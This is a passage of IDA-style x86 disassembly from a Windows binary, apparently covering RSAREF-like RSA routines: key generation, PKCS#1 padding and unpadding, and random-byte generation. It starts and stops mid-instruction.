esi mov eax, ebx call sub_417BCF pop ecx loc_418616: ; CODE XREF: sub_418528+DFj mov edx, [ebp+arg_4] push ebx mov ecx, edi call sub_4183D3 test eax, eax pop ecx jle short loc_418633 push ebx mov ecx, edi mov edx, esi mov eax, ebx call sub_417C0D pop ecx loc_418633: ; CODE XREF: sub_418528+FCj push [ebp+arg_4] lea eax, [ebp+var_204] push eax mov eax, edi call sub_417B80 lea eax, [ebp+var_204] push eax mov ecx, edi mov edx, esi call sub_417C0D push edi push ebx call sub_418699 add esp, 14h jmp short loc_418689 ; --------------------------------------------------------------------------- loc_418660: ; CODE XREF: sub_418528+163j push ebx mov ecx, edi lea edx, [ebp+var_204] call sub_4183D3 test eax, eax pop ecx jg short loc_418692 push ebx mov ecx, edi mov edx, esi mov eax, ebx call sub_417BCF push edi push ebx call sub_418699 add esp, 0Ch loc_418689: ; CODE XREF: sub_418528+136j test eax, eax jz short loc_418660 xor eax, eax loc_41868F: ; CODE XREF: sub_418528+22j ; sub_418528+16Fj pop esi leave retn ; --------------------------------------------------------------------------- loc_418692: ; CODE XREF: sub_418528+149j mov eax, 401h jmp short loc_41868F sub_418528 endp ; =============== S U B R O U T I N E ======================================= sub_418699 proc near ; CODE XREF: sub_418528+12Ep ; sub_418528+159p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4186C5 test eax, eax pop ecx pop ecx jnz short loc_4186C2 push [esp+arg_0] mov eax, [esp+4+arg_4] call sub_41874F test eax, eax pop ecx jz short loc_4186C2 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4186C2: ; CODE XREF: sub_418699+11j ; sub_418699+23j xor eax, eax retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186C5 proc near ; CODE XREF: sub_418699+8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi push edi xor edi, edi xor esi, esi mov [ebp+var_8], edi inc esi loc_4186D4: ; CODE XREF: sub_4186C5+86j push 4 lea eax, [ebp+var_4] push 0 push eax call sub_41C6D0 mov eax, ds:dword_435318[edi] add esp, 0Ch cmp [ebp+arg_4], esi mov [ebp+var_4], eax jnz short loc_418704 push [ebp+arg_0] mov ecx, esi lea edx, [ebp+var_4] call sub_4183D3 test eax, eax pop ecx jz short loc_41872E loc_418704: ; CODE XREF: sub_4186C5+2Bj push esi lea eax, [ebp+var_4] push eax push [ebp+arg_0] push eax mov eax, [ebp+arg_4] call sub_417F2F add esp, 10h lea eax, [ebp+var_4] mov ecx, esi loc_41871D: ; CODE XREF: sub_4186C5+64j mov edx, [eax] dec ecx add eax, 4 test edx, edx jnz short loc_418745 test ecx, ecx jnz short loc_41871D mov [ebp+var_8], esi loc_41872E: ; CODE XREF: sub_4186C5+3Dj ; sub_4186C5+88j push 4 lea eax, [ebp+var_4] push 0 push eax call sub_41C6D0 mov eax, [ebp+var_8] add esp, 0Ch pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_418745: ; CODE XREF: sub_4186C5+60j add edi, 4 cmp edi, 10h jb short loc_4186D4 jmp short loc_41872E sub_4186C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41874F proc near ; CODE XREF: sub_418699+1Bp var_408 = byte ptr -408h var_204 = dword ptr -204h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 408h push esi mov esi, eax lea eax, [ebp+var_204] push eax mov eax, esi call sub_417B95 push [ebp+arg_0] lea eax, [ebp+var_204] push esi push [ebp+arg_0] mov [ebp+var_204], 2 push eax lea eax, [ebp+var_408] push eax mov eax, esi call sub_417FA5 lea eax, [ebp+var_204] push eax mov ecx, esi lea edx, [ebp+var_408] call sub_4183D3 mov esi, eax push 204h neg esi lea eax, [ebp+var_408] sbb esi, esi push 0 push eax inc esi call sub_41C6D0 add esp, 28h mov eax, esi pop esi leave retn sub_41874F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187C5 proc near ; CODE XREF: sub_40BDE3+E8p var_1C44 = byte ptr -1C44h var_1A40 = byte ptr -1A40h var_183C = byte ptr -183Ch var_1638 = byte ptr -1638h var_1434 = byte ptr -1434h var_1230 = byte ptr -1230h var_102C = byte ptr -102Ch var_E28 = byte ptr -0E28h var_C24 = dword ptr -0C24h var_A20 = byte ptr -0A20h var_81C = byte ptr -81Ch var_618 = byte ptr -618h var_414 = dword ptr -414h var_210 = dword ptr -210h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1C44h call sub_41E090 mov eax, [ebp+arg_4] push ebx push esi mov esi, ecx mov ecx, [eax] cmp ecx, 200h push edi jb loc_418CCB cmp ecx, 1000h ja loc_418CCB lea ebx, [ecx+1] lea eax, [ecx+1Fh] shr ebx, 1 sub ecx, ebx shr eax, 5 mov [ebp+var_C], ecx lea ecx, [ebp+var_C24] lea edi, [eax+1] push ecx mov [ebp+var_8], eax shr edi, 1 mov [ebp+var_4], ebx call sub_417B95 mov eax, [ebp+arg_4] mov eax, [eax+4] neg eax sbb eax, eax and eax, 0FFFEh add eax, 3 mov [ebp+var_C24], eax lea ecx, [ebx-1] mov eax, edi lea ebx, [ebp+var_210] call sub_417BA8 mov ecx, [ebp+var_4] add ecx, 0FFFFFFFEh mov eax, edi lea ebx, [ebp+var_618] call sub_417BA8 lea eax, [ebp+var_210] push eax mov ecx, edi mov edx, ebx call sub_417BCF lea eax, [ebp+var_414] push eax mov eax, edi call sub_417B95 lea eax, [ebp+var_414] push eax mov edx, eax mov ecx, edi lea eax, [ebp+var_210] mov [ebp+var_414], 1 call sub_417C0D mov eax, ebx push eax mov ecx, edi lea edx, [ebp+var_414] call sub_417BCF lea eax, [ebp+var_414] push eax mov eax, edi call sub_417B95 add esp, 18h mov [ebp+var_414], 2 loc_4188BF: ; CODE XREF: sub_4187C5+13Fj mov ecx, [ebp+arg_8] lea eax, [ebp+var_414] push eax lea eax, [ebp+var_618] push eax lea eax, [ebp+var_210] push eax lea ebx, [ebp+var_81C] call sub_418528 add esp, 0Ch test eax, eax jnz loc_418CD0 push 1 lea eax, [ebp+var_C24] push eax mov eax, ebx push edi push eax call sub_418CD5 add esp, 10h test eax, eax jz short loc_4188BF mov ecx, [ebp+var_C] dec ecx mov eax, edi lea ebx, [ebp+var_210] call sub_417BA8 mov ecx, [ebp+var_C] add ecx, 0FFFFFFFEh mov eax, edi lea ebx, [ebp+var_618] call sub_417BA8 lea eax, [ebp+var_210] push eax mov ecx, edi mov edx, ebx call sub_417BCF lea eax, [ebp+var_414] push eax mov eax, edi call sub_417B95 lea eax, [ebp+var_414] push eax mov edx, eax mov ecx, edi lea eax, [ebp+var_210] mov [ebp+var_414], 1 call sub_417C0D mov eax, ebx push eax mov ecx, edi lea edx, [ebp+var_414] call sub_417BCF lea eax, [ebp+var_414] push eax mov eax, edi call sub_417B95 add esp, 14h mov [ebp+var_414], 2 loc_418993: ; CODE XREF: sub_4187C5+219j mov ecx, [ebp+arg_8] lea eax, [ebp+var_414] push eax lea eax, [ebp+var_618] push eax lea eax, [ebp+var_210] push eax lea ebx, [ebp+var_A20] call sub_418528 add esp, 0Ch test eax, eax jnz loc_418CD0 xor ebx, ebx inc ebx push ebx lea eax, [ebp+var_C24] push eax lea eax, [ebp+var_A20] push edi push eax call sub_418CD5 add esp, 10h test eax, eax jz short loc_418993 lea eax, [ebp+var_81C] push eax mov ecx, edi lea edx, [ebp+var_A20] call sub_4183D3 test eax, eax pop ecx jge short loc_418A47 mov eax, edi shl eax, 2 push eax lea eax, [ebp+var_81C] push eax lea eax, [ebp+var_210] push eax call sub_41BC60 mov eax, edi shl eax, 2 push eax lea eax, [ebp+var_A20] push eax lea eax, [ebp+var_81C] push eax call sub_41BC60 mov eax, edi shl eax, 2 push eax lea eax, [ebp+var_210] push eax lea eax, [ebp+var_A20] push eax call sub_41BC60 add esp, 24h loc_418A47: ; CODE XREF: sub_4187C5+232j lea eax, [ebp+var_A20] push eax lea eax, [ebp+var_1C44] push eax mov eax, edi lea ecx, [ebp+var_81C] call sub_417C59 lea eax, [ebp+var_81C] push eax lea eax, [ebp+var_A20] push eax lea eax, [ebp+var_183C] push eax mov ecx, edi call sub_4180F9 lea eax, [ebp+var_210] push eax mov eax, edi call sub_417B95 lea eax, [ebp+var_102C] push eax mov ecx, edi lea edx, [ebp+var_210] lea eax, [ebp+var_81C] mov [ebp+var_210], ebx call sub_417C0D lea eax, [ebp+var_1230] push eax mov ecx, edi lea edx, [ebp+var_210] lea eax, [ebp+var_A20] call sub_417C0D lea eax, [ebp+var_1230] push eax lea eax, [ebp+var_1638] push eax mov eax, edi lea ecx, [ebp+var_102C] call sub_417C59 mov ebx, [ebp+var_8] lea eax, [ebp+var_1638] push eax lea eax, [ebp+var_C24] push eax lea eax, [ebp+var_E28] push eax mov ecx, ebx call sub_4180F9 push edi lea eax, [ebp+var_102C] push eax lea eax, [ebp+var_E28] push eax lea eax, [ebp+var_1434] push eax mov eax, ebx call sub_417F2F add esp, 44h push edi lea eax, [ebp+var_1230] push eax lea eax, [ebp+var_E28] push eax lea eax, [ebp+var_1A40] push eax mov eax, ebx call sub_417F2F mov eax, [ebp+arg_4] mov eax, [eax] mov ecx, [ebp+arg_0] mov [esi], eax mov [ecx], eax lea eax, [ecx+4] push ebx lea ecx, [ebp+var_1C44] push ecx mov [ebp+arg_4], eax push eax mov ebx, 200h mov eax, ebx call sub_417B36 mov eax, [ebp+arg_0] add eax, 204h push 1 lea ecx, [ebp+var_C24] push ecx mov [ebp+var_4], eax push eax mov eax, ebx call sub_417B36 push ebx push [ebp+arg_4] lea eax, [esi+4] push eax call sub_41BC60 push ebx push [ebp+var_4] lea eax, [esi+204h] push eax call sub_41BC60 add esp, 40h push [ebp+var_8] lea eax, [ebp+var_E28] push eax lea eax, [esi+404h] push eax mov eax, ebx call sub_417B36 push edi lea eax, [ebp+var_81C] push eax lea eax, [esi+604h] push eax mov ebx, 100h mov eax, ebx call sub_417B36 push edi lea eax, [ebp+var_A20] push eax lea eax, [esi+704h] push eax mov eax, ebx call sub_417B36 push edi lea eax, [ebp+var_1434] push eax lea eax, [esi+804h] push eax mov eax, ebx call sub_417B36 push edi lea eax, [ebp+var_1A40] push eax lea eax, [esi+904h] push eax mov eax, ebx call sub_417B36 push edi lea eax, [ebp+var_183C] push eax add esi, 0A04h push esi mov eax, ebx call sub_417B36 add esp, 48h mov edi, 204h push edi xor esi, esi lea eax, [ebp+var_E28] push esi push eax call sub_41C6D0 push edi lea eax, [ebp+var_1434] push esi push eax call sub_41C6D0 push edi lea eax, [ebp+var_1A40] push esi push eax call sub_41C6D0 push edi lea eax, [ebp+var_81C] push esi push eax call sub_41C6D0 push edi lea eax, [ebp+var_1638] push esi push eax call sub_41C6D0 push edi lea eax, [ebp+var_102C] push esi push eax call sub_41C6D0 add esp, 48h push edi lea eax, [ebp+var_A20] push esi push eax call sub_41C6D0 push edi lea eax, [ebp+var_183C] push esi push eax call sub_41C6D0 push edi lea eax, [ebp+var_1230] push esi push eax call sub_41C6D0 push edi lea eax, [ebp+var_210] push esi push eax call sub_41C6D0 add esp, 30h xor eax, eax jmp short loc_418CD0 ; --------------------------------------------------------------------------- loc_418CCB: ; CODE XREF: sub_4187C5+1Dj ; sub_4187C5+29j mov eax, 407h loc_418CD0: ; CODE XREF: sub_4187C5+122j ; sub_4187C5+1F6j ... pop edi pop esi pop ebx leave retn sub_4187C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418CD5 proc near ; CODE XREF: sub_4187C5+135p ; sub_4187C5+20Fp var_408 = byte ptr -408h var_204 = dword ptr -204h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 408h lea eax, [ebp+var_204] push esi push eax mov eax, [ebp+arg_4] call sub_417B95 mov ecx, [ebp+arg_4] lea eax, [ebp+var_408] push eax mov eax, [ebp+arg_0] lea edx, [ebp+var_204] mov [ebp+var_204], 1 call sub_417C0D push [ebp+arg_C] lea eax, [ebp+var_408] push [ebp+arg_8] push eax mov eax, [ebp+arg_4] call sub_418D42 push 204h mov esi, eax lea eax, [ebp+var_408] push 0 push eax call sub_41C6D0 add esp, 20h mov eax, esi pop esi leave retn sub_418CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D42 proc near ; CODE XREF: sub_418CD5+4Bp var_408 = dword ptr -408h var_204 = byte ptr -204h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 408h push esi mov esi, eax lea eax, [ebp+var_204] push eax mov eax, esi call sub_417B95 push [ebp+arg_4] lea eax, [ebp+var_204] push eax mov eax, [ebp+arg_8] call sub_417B80 lea eax, [ebp+var_204] push eax push [ebp+arg_0] push eax mov eax, esi call sub_4182E9 lea eax, [ebp+var_408] push eax mov eax, esi call sub_417B95 lea eax, [ebp+var_204] push eax mov ecx, esi lea edx, [ebp+var_408] mov [ebp+var_408], 1 call sub_4183D3 mov esi, eax push 204h neg esi lea eax, [ebp+var_204] sbb esi, esi push 0 push eax inc esi call sub_41C6D0 add esp, 2Ch mov eax, esi pop esi leave retn sub_418D42 endp ; =============== S U B R O U T I N E ======================================= sub_418DCE proc near ; CODE XREF: sub_409BDA+54Ep ; sub_40BDE3+83p push 20h lea eax, [esi+4] push 0 push eax mov dword ptr [esi], 100h call sub_41C6D0 and dword ptr [esi+24h], 0 add esp, 0Ch xor eax, eax retn sub_418DCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DEB proc near ; CODE XREF: sub_409BDA+585p ; sub_40BDE3+B8p var_6C = byte ptr -6Ch var_14 = byte ptr -14h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 6Ch push ebx push edi lea eax, [ebp+var_6C] call sub_417057 push [ebp+arg_0] mov ebx, [ebp+arg_4] call sub_41707B lea eax, [ebp+var_14] push eax lea edi, [ebp+var_6C] call sub_417107 and [ebp+var_4], 0 pop ecx pop ecx push 10h lea ecx, [ebp+var_5] lea eax, [esi+13h] pop edi loc_418E21: ; CODE XREF: sub_418DEB+4Cj movzx ebx, byte ptr [ecx] add ebx, [ebp+var_4] movzx edx, byte ptr [eax] add edx, ebx mov [eax], dl shr edx, 8 dec ecx dec eax dec edi mov [ebp+var_4], edx jnz short loc_418E21 mov eax, [esi] cmp eax, [ebp+arg_4] pop edi pop ebx jnb short loc_418E47 and dword ptr [esi], 0 jmp short loc_418E4C ; --------------------------------------------------------------------------- loc_418E47: ; CODE XREF: sub_418DEB+55j sub eax, [ebp+arg_4] mov [esi], eax loc_418E4C: ; CODE XREF: sub_418DEB+5Aj push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41C6D0 add esp, 0Ch xor eax, eax leave retn sub_418DEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E60 proc near ; CODE XREF: sub_418528+19p ; sub_418EFC+52p var_5C = byte ptr -5Ch var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 5Ch cmp dword ptr [esi], 0 jz short loc_418E72 mov eax, 408h leave retn ; --------------------------------------------------------------------------- loc_418E72: ; CODE XREF: sub_418E60+9j push edi mov edi, [esi+24h] cmp [ebp+arg_4], edi jbe short loc_418EDB push ebx push 10h pop ebx loc_418E7F: ; CODE XREF: sub_418E60+78j mov eax, esi sub eax, edi push edi add eax, 38h push eax push [ebp+arg_0] call sub_41BC60 add [ebp+arg_0], edi sub [ebp+arg_4], edi lea eax, [ebp+var_5C] call sub_417057 lea eax, [esi+4] push eax lea eax, [ebp+var_5C] call sub_41707B lea eax, [esi+28h] push eax lea edi, [ebp+var_5C] call sub_417107 add esp, 14h mov edi, ebx xor ecx, ecx lea eax, [esi+13h] loc_418EC0: ; CODE XREF: sub_418E60+73j mov dl, [eax] mov [ebp+var_1], dl inc dl cmp [ebp+var_1], 0 mov [eax], dl jnz short loc_418ED5 inc ecx dec eax cmp ecx, ebx jb short loc_418EC0 loc_418ED5: ; CODE XREF: sub_418E60+6Dj cmp [ebp+arg_4], ebx ja short loc_418E7F pop ebx loc_418EDB: ; CODE XREF: sub_418E60+19j push [ebp+arg_4] mov eax, esi sub eax, edi add eax, 38h push eax push [ebp+arg_0] call sub_41BC60 sub edi, [ebp+arg_4] add esp, 0Ch mov [esi+24h], edi xor eax, eax pop edi leave retn sub_418E60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EFC proc near ; CODE XREF: sub_409BDA+5F4p var_208 = byte ptr -208h var_207 = byte ptr -207h var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 208h mov eax, [ebp+arg_10] push edi mov edi, [eax] mov eax, [ebp+arg_C] add edi, 7 shr edi, 3 lea ecx, [eax+0Bh] cmp ecx, edi jbe short loc_418F25 mov eax, 406h jmp loc_418FBA ; --------------------------------------------------------------------------- loc_418F25: ; CODE XREF: sub_418EFC+1Dj push ebx push esi mov ecx, edi sub ecx, eax push 2 pop ebx lea eax, [ecx-1] cmp eax, ebx mov [ebp+var_208], 0 mov [ebp+var_207], bl mov [ebp+var_8], eax jbe short loc_418F69 loc_418F45: ; CODE XREF: sub_418EFC+5Ej ; sub_418EFC+6Bj mov esi, [ebp+arg_14] lea eax, [ebp+var_1] push 1 push eax call sub_418E60 mov al, [ebp+var_1] test al, al pop ecx pop ecx jz short loc_418F45 mov [ebp+ebx+var_208], al inc ebx cmp ebx, [ebp+var_8] jb short loc_418F45 loc_418F69: ; CODE XREF: sub_418EFC+47j push [ebp+arg_C] lea eax, [ebp+ebx+var_207] push [ebp+arg_8] mov [ebp+ebx+var_208], 0 push eax call sub_41BC60 push edi mov edi, [ebp+arg_10] lea eax, [ebp+var_208] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419135 push 200h mov esi, eax lea eax, [ebp+var_208] push 0 push eax mov [ebp+var_1], 0 call sub_41C6D0 add esp, 28h mov eax, esi pop esi pop ebx loc_418FBA: ; CODE XREF: sub_418EFC+24j pop edi leave retn sub_418EFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FBD proc near ; CODE XREF: .text:0040A5AAp ; .text:0040B2F3p var_200 = byte ptr -200h var_1FF = byte ptr -1FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi mov edi, eax mov esi, [edi] add esi, 7 shr esi, 3 cmp [ebp+arg_C], esi ja short loc_418FFD push [ebp+arg_C] lea eax, [ebp+arg_C] push [ebp+arg_8] push eax lea eax, [ebp+var_200] push eax call sub_419135 add esp, 10h test eax, eax jnz loc_41907B cmp [ebp+arg_C], esi jz short loc_419004 loc_418FFD: ; CODE XREF: sub_418FBD+18j mov eax, 406h jmp short loc_41907B ; --------------------------------------------------------------------------- loc_419004: ; CODE XREF: sub_418FBD+3Ej cmp [ebp+var_200], 0 jnz short loc_419076 cmp [ebp+var_1FF], 1 jnz short loc_419076 push 2 pop ecx lea eax, [esi-1] cmp eax, ecx jbe short loc_41902F loc_419020: ; CODE XREF: sub_418FBD+70j cmp [ebp+ecx+var_200], 0FFh jnz short loc_41902F inc ecx cmp ecx, eax jb short loc_419020 loc_41902F: ; CODE XREF: sub_418FBD+61j ; sub_418FBD+6Bj mov al, [ebp+ecx+var_200] inc ecx test al, al jnz short loc_419076 mov edx, [ebp+arg_4] mov eax, esi sub eax, ecx mov [edx], eax lea edx, [eax+0Bh] cmp edx, esi ja short loc_419076 push eax lea eax, [ebp+ecx+var_200] push eax push [ebp+arg_0] call sub_41BC60 push 200h lea eax, [ebp+var_200] push 0 push eax call sub_41C6D0 add esp, 18h xor eax, eax jmp short loc_41907B ; --------------------------------------------------------------------------- loc_419076: ; CODE XREF: sub_418FBD+4Ej ; sub_418FBD+57j ... mov eax, 401h loc_41907B: ; CODE XREF: sub_418FBD+35j ; sub_418FBD+45j ... pop edi pop esi leave retn sub_418FBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41907F proc near ; CODE XREF: sub_409BDA+1B8p var_200 = byte ptr -200h var_1FF = byte ptr -1FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi mov edi, eax mov esi, [edi] add esi, 7 shr esi, 3 cmp [ebp+arg_C], esi ja short loc_4190BB push [ebp+arg_C] lea eax, [ebp+arg_C] push [ebp+arg_8] push eax lea eax, [ebp+var_200] push eax call sub_419236 add esp, 10h test eax, eax jnz short loc_419131 cmp [ebp+arg_C], esi jz short loc_4190C2 loc_4190BB: ; CODE XREF: sub_41907F+18j mov eax, 406h jmp short loc_419131 ; --------------------------------------------------------------------------- loc_4190C2: ; CODE XREF: sub_41907F+3Aj cmp [ebp+var_200], 0 jnz short loc_41912C push 2 pop ecx cmp [ebp+var_1FF], cl jnz short loc_41912C lea eax, [esi-1] cmp eax, ecx jbe short loc_4190EC loc_4190DD: ; CODE XREF: sub_41907F+6Bj cmp [ebp+ecx+var_200], 0 jz short loc_4190EC inc ecx cmp ecx, eax jb short loc_4190DD loc_4190EC: ; CODE XREF: sub_41907F+5Cj ; sub_41907F+66j inc ecx cmp ecx, esi jnb short loc_41912C mov edx, [ebp+arg_4] mov eax, esi sub eax, ecx mov [edx], eax lea edx, [eax+0Bh] cmp edx, esi ja short loc_41912C push eax lea eax, [ebp+ecx+var_200] push eax push [ebp+arg_0] call sub_41BC60 push 200h lea eax, [ebp+var_200] push 0 push eax call sub_41C6D0 add esp, 18h xor eax, eax jmp short loc_419131 ; --------------------------------------------------------------------------- loc_41912C: ; CODE XREF: sub_41907F+4Aj ; sub_41907F+55j ... mov eax, 401h loc_419131: ; CODE XREF: sub_41907F+35j ; sub_41907F+41j ... pop edi pop esi leave retn sub_41907F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419135 proc near ; CODE XREF: sub_418EFC+99p ; sub_418FBD+2Bp var_810 = byte ptr -810h var_60C = dword ptr -60Ch var_408 = dword ptr -408h var_204 = byte ptr -204h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 810h push ebx push esi push [ebp+arg_8] mov esi, 81h lea eax, [ebp+var_204] push esi push eax mov eax, [ebp+arg_C] call sub_417AE5 lea eax, [edi+4] push eax lea eax, [ebp+var_408] push esi push eax mov ebx, 200h mov eax, ebx call sub_417AE5 lea eax, [edi+204h] push eax lea eax, [ebp+var_60C] push esi push eax mov eax, ebx call sub_417AE5 add esp, 24h mov eax, esi loc_41918B: ; CODE XREF: sub_419135+61j dec eax js short loc_419198 cmp [ebp+eax*4+var_408], 0 jz short loc_41918B loc_419198: ; CODE XREF: sub_419135+57j lea ebx, [eax+1] loc_41919B: ; CODE XREF: sub_419135+71j dec esi js short loc_4191A8 cmp [ebp+esi*4+var_60C], 0 jz short loc_41919B loc_4191A8: ; CODE XREF: sub_419135+67j lea eax, [ebp+var_204] push eax mov ecx, ebx lea edx, [ebp+var_408] call sub_4183D3 test eax, eax pop ecx jl short loc_4191C8 mov eax, 401h jmp short loc_419232 ; --------------------------------------------------------------------------- loc_4191C8: ; CODE XREF: sub_419135+8Aj lea eax, [ebp+var_408] push eax inc esi push esi lea eax, [ebp+var_60C] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_810] push eax mov eax, ebx call sub_417FA5 mov eax, [edi] mov ecx, [ebp+arg_4] add eax, 7 shr eax, 3 mov [ecx], eax push ebx lea ecx, [ebp+var_810] push ecx push [ebp+arg_0] call sub_417B36 mov esi, 204h push esi lea eax, [ebp+var_810] push 0 push eax call sub_41C6D0 push esi lea eax, [ebp+var_204] push 0 push eax call sub_41C6D0 add esp, 38h xor eax, eax loc_419232: ; CODE XREF: sub_419135+91j pop esi pop ebx leave retn sub_419135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419236 proc near ; CODE XREF: sub_41907F+2Bp var_1634 = byte ptr -1634h var_1430 = byte ptr -1430h var_122C = byte ptr -122Ch var_1028 = byte ptr -1028h var_E24 = byte ptr -0E24h var_C20 = byte ptr -0C20h var_A1C = dword ptr -0A1Ch var_818 = dword ptr -818h var_614 = byte ptr -614h var_410 = dword ptr -410h var_20C = byte ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 1634h call sub_41E090 push ebx push esi push [ebp+arg_8] mov esi, 81h lea eax, [ebp+var_A1C] push esi push eax mov eax, [ebp+arg_C] call sub_417AE5 lea eax, [edi+4] push eax lea eax, [ebp+var_410] push esi push eax mov eax, 200h call sub_417AE5 lea eax, [edi+604h] push eax lea eax, [ebp+var_818] push esi push eax mov ebx, 100h mov eax, ebx call sub_417AE5 lea eax, [edi+704h] push eax lea eax, [ebp+var_C20] push esi push eax mov eax, ebx call sub_417AE5 lea eax, [edi+804h] push eax lea eax, [ebp+var_1028] push esi push eax mov eax, ebx call sub_417AE5 lea eax, [edi+904h] push eax lea eax, [ebp+var_122C] push esi push eax mov eax, ebx call sub_417AE5 add esp, 48h lea eax, [edi+0A04h] push eax lea eax, [ebp+var_1634] push esi push eax mov eax, ebx call sub_417AE5 add esp, 0Ch mov eax, esi xor ebx, ebx loc_4192F0: ; CODE XREF: sub_419236+C4j dec eax js short loc_4192FC cmp [ebp+eax*4+var_A1C], ebx jz short loc_4192F0 loc_4192FC: ; CODE XREF: sub_419236+BBj inc eax mov [ebp+var_8], eax mov eax, esi loc_419302: ; CODE XREF: sub_419236+D6j dec eax js short loc_41930E cmp [ebp+eax*4+var_410], ebx jz short loc_419302 loc_41930E: ; CODE XREF: sub_419236+CDj lea ecx, [eax+1] mov [ebp+var_4], ecx loc_419314: ; CODE XREF: sub_419236+E8j dec esi js short loc_419320 cmp [ebp+esi*4+var_818], ebx jz short loc_419314 loc_419320: ; CODE XREF: sub_419236+DFj lea eax, [ebp+var_A1C] push eax lea edx, [ebp+var_410] inc esi call sub_4183D3 test eax, eax pop ecx jl short loc_419342 mov eax, 401h jmp loc_41954B ; --------------------------------------------------------------------------- loc_419342: ; CODE XREF: sub_419236+100j push esi lea eax, [ebp+var_818] push eax lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_E24] push eax mov eax, [ebp+var_8] call sub_417F2F push esi lea eax, [ebp+var_C20] push eax lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_1430] push eax mov eax, [ebp+var_8] call sub_417F2F lea eax, [ebp+var_818] push eax push esi lea eax, [ebp+var_1028] push eax lea eax, [ebp+var_E24] push eax lea eax, [ebp+var_410] push eax mov eax, esi call sub_417FA5 lea eax, [ebp+var_614] push eax mov eax, [ebp+var_4] call sub_417B95 lea eax, [ebp+var_C20] push eax push esi lea eax, [ebp+var_122C] push eax lea eax, [ebp+var_1430] push eax lea eax, [ebp+var_614] push eax mov eax, esi call sub_417FA5 lea eax, [ebp+var_410] add esp, 4Ch push eax mov ecx, esi lea edx, [ebp+var_614] call sub_4183D3 pop ecx test eax, eax lea eax, [ebp+var_20C] mov ecx, esi push eax jl short loc_41940D lea edx, [ebp+var_614] lea eax, [ebp+var_410] call sub_417C0D jmp short loc_419435 ; --------------------------------------------------------------------------- loc_41940D: ; CODE XREF: sub_419236+1C2j lea edx, [ebp+var_410] lea eax, [ebp+var_614] call sub_417C0D lea eax, [ebp+var_20C] push eax mov edx, eax mov ecx, esi lea eax, [ebp+var_818] call sub_417C0D pop ecx loc_419435: ; CODE XREF: sub_419236+1D5j pop ecx lea eax, [ebp+var_818] push eax lea eax, [ebp+var_1634] push eax lea eax, [ebp+var_20C] push eax mov ecx, eax call sub_417F5D lea eax, [ebp+var_C20] push eax lea eax, [ebp+var_20C] push eax mov eax, esi lea ecx, [ebp+var_20C] call sub_417C59 mov ecx, [ebp+var_4] lea eax, [ebp+var_20C] push eax lea edx, [ebp+var_614] call sub_417BCF mov eax, [edi] mov ecx, [ebp+arg_4] push [ebp+var_4] add eax, 7 shr eax, 3 mov [ecx], eax lea ecx, [ebp+var_20C] push ecx push [ebp+arg_0] call sub_417B36 mov esi, 204h push esi lea eax, [ebp+var_A1C] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_E24] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_1430] push ebx push eax call sub_41C6D0 add esp, 48h push esi lea eax, [ebp+var_1028] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_122C] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_410] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_614] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_818] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_C20] push ebx push eax call sub_41C6D0 add esp, 48h push esi push ebx lea eax, [ebp+var_1634] push eax call 